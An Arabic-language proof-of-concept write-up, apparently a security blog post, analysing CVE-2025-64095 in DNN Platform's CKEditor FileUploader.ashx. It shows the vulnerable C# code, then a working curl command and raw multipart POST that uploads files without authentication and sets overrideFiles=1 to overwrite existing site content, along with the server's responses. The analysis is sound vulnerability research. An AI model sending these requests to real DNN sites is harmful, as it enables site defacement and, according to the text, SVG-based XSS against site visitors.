
POC للتحكم غير الكافي في الوصول في DNN - رفع الصور يسمح بالكتابة فوق محتوى الموقع
POC لثغرة DNN Insufficient Access Control - Image Upload التي تسمح باستبدال محتوى الموقع
أنا رجل بسيط، أرى cvss:10/10 فأدخل xD
رأيت هذا CVE الجديد CVE-2025-64095: DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite
مزوّد محرر HTML الافتراضي يسمح برفع الملفات دون مصادقة، ويمكن للصور استبدال الملفات الموجودة.
الوصف يمكن لمستخدم غير مصادَق رفع الملفات واستبدال الملفات الموجودة، مما يسمح بتشويه موقع الويب، وبالاقتران مع مشكلة أخرى، حقن حمولات XSS.
https://nvd.nist.gov/vuln/detail/CVE-2025-64095
النتيجة الأساسية: 10.0 CRITICAL 🤷♂️
اتضح أنها ليست بهذه الحرجة في النهاية، لأنك لا تستطيع رفع ويب شيل مثل ASP أو ASPX..إلخ (في التكوين الافتراضي على الأقل )، يمكنك فقط رفع الصور + SVG فقط. يمكنك فقط رفع/الكتابة فوق الملفات الموجودة في خادم الويب + في مسار محدد، ولا يمكنك حتى رفع ملف في المجلد الجذر.
بما أن جميع الإصدارات قبل 10.1.1 معرضة للخطر، أخذت DNN Platform 10.1.0 (آخر إصدار معرض للخطر )
الفرق (diff) كبير بعض الشيء، أنا مهتم فقط بالكود المتعلق برفع الملفات، وهو المرتبط بـ Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx. لذلك ركّزت على مقارنة هذا الملف تحديدًا بين الإصدارين لفهم ما الذي تم إصلاحه (إن وُجد) في 10.1.1.
دعني أرافقك في عرض ما وجدته وكيف اكتشفت الثغرة.
عندما بدأت النظر في الإصدارين لأول مرة، أظهر الفرق الإجمالي 158 ملفًا تم تغييرها بين DNN Platform 10.1.0 و10.1.1. كان معظمها مجرد تحسينات - مساحات أسماء على مستوى الملف (file-scoped namespaces). لكنني كنت بحاجة إلى معرفة ما إذا كانت ثغرة رفع الملفات قد أُصلحت.
الملف المعرض للخطر موجود في Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs - وهو معالج رفع ملفات CKEditor. وهو سطح هجوم شائع لثغرات رفع الملفات.
بالنظر إلى دالة ProcessRequest في الإصدار 10.1.0:
public void ProcessRequest(HttpContext context)
{
context.Response.AddHeader("Pragma", "no-cache");
context.Response.AddHeader("Cache-Control", "private, no-cache");
this.HandleMethod(context);
}
هذا كل شيء. حرفيًا لا يوجد أي فحص مصادقة. يمكن لأي شخص إرسال طلب إلى نقطة النهاية هذه ورفع الملفات، لا فحص جلسة، لا شيء.
يسير التدفق على النحو التالي:
FileUploader.ashxProcessRequestHandleMethod التي توجّه إلى UploadFileUploadFile الدالة UploadWholeFileUploadWholeFile عملية الرفع دون التحقق مما إذا كان المستخدم مسجّل الدخوليحدث منطق الرفع بالكامل في UploadWholeFile بدءًا من حوالي السطر 230. دعني أريك الأجزاء الحرجة:
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (int i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
var fileName = Path.GetFileName(file.FileName); // Line 236
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
// ... more processing ...
// Rename File if Exists
if (!this.OverrideFiles) // Line 268
{
var counter = 0;
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
}
}
var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
var userId = UserController.Instance.GetCurrentUserInfo().UserID; // Line 284 - gets userId but never checked!
if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
{
FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
}
else
{
// Image resizing logic follows...
}
}
}
لاحظ أنه في السطر 284 يستدعون UserController.Instance.GetCurrentUserInfo() للحصول على userId، لكنهم لا يتحققون أبدًا في الواقع من مصادقة المستخدم. إذا لم تكن مسجّل الدخول، فسيُرجع ذلك مستخدمًا فارغًا (null) أو مجهولًا، لكن عملية الرفع تستمر على أي حال.
لاحظ أيضًا خاصية OverrideFiles في السطر 268:
private bool OverrideFiles =>
HttpContext.Current.Request["overrideFiles"].Equals("1")
|| HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);
هذه معلمة يتحكم بها المستخدم! يمكن لأي شخص تعيين overrideFiles=1 في طلب الرفع الخاص به واستبدال الملفات الموجودة.
اختبرت ذلك عبر صياغة أمر curl بسيط:
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "[email protected]" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
طلب POST خام
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"
0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"
Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194
[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
تم رفع الملف بنجاح. تحققت من ذلك بفحص http://mysite.dnndev.me/Portals/_default/poc.png، وبالفعل كان هناك.
ويُستضاف الملف في المجلد \Portals_default :
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File
Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/31/2025 4:16 PM 0 poc.png
PS C:\Users\pwn\Documents\site\web02>
كنت أبحث عن اجتياز المسار لإعادة كتابة الملفات في المجلد الجذر، لكن الحماية في الواقع جيدة جدًا. بالنظر إلى
var fileName = Path.GetFileName(file.FileName);
إنها تعمل بشكل صحيح. Path.GetFileName() يزيل تلقائيًا أي تسلسلات اجتياز الدلائل. لذا إذا حاول شخص ما رفع ملف باسم ../../../foo، يصبح الاسم foo فقط.
يحتوي الكود أيضًا على حمايات إضافية في "DNN Platform\Providers\HtmlEditorProviders\DNNConnect.CKE\Browser\FileUploader.ashx.cs"
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (var i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
if (file is null)
{
continue;
}
var fileName = Path.GetFileName(file.FileName);
if (!string.IsNullOrEmpty(fileName))
{
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
}
else
{
throw new HttpRequestValidationException("File does not have a name");
}
if (fileName.Length > 220)
{
fileName = fileName.Substring(fileName.Length - 220);
}
// file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
var fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);
// Rename File if Exists
if (!OverrideFiles)
{
var counter = 0;
while (File.Exists(Path.Combine(StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format(
"{0}_{1}{2}",
fileNameNoExtenstion,
counter,
Path.GetExtension(file.FileName));
}
}
كما ترى في الكود // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities fileName = Regex.Replace(fileName, @"^\\+", string.Empty);
كما قلت، لا أعتقد أنها ثغرة حرجة في النهاية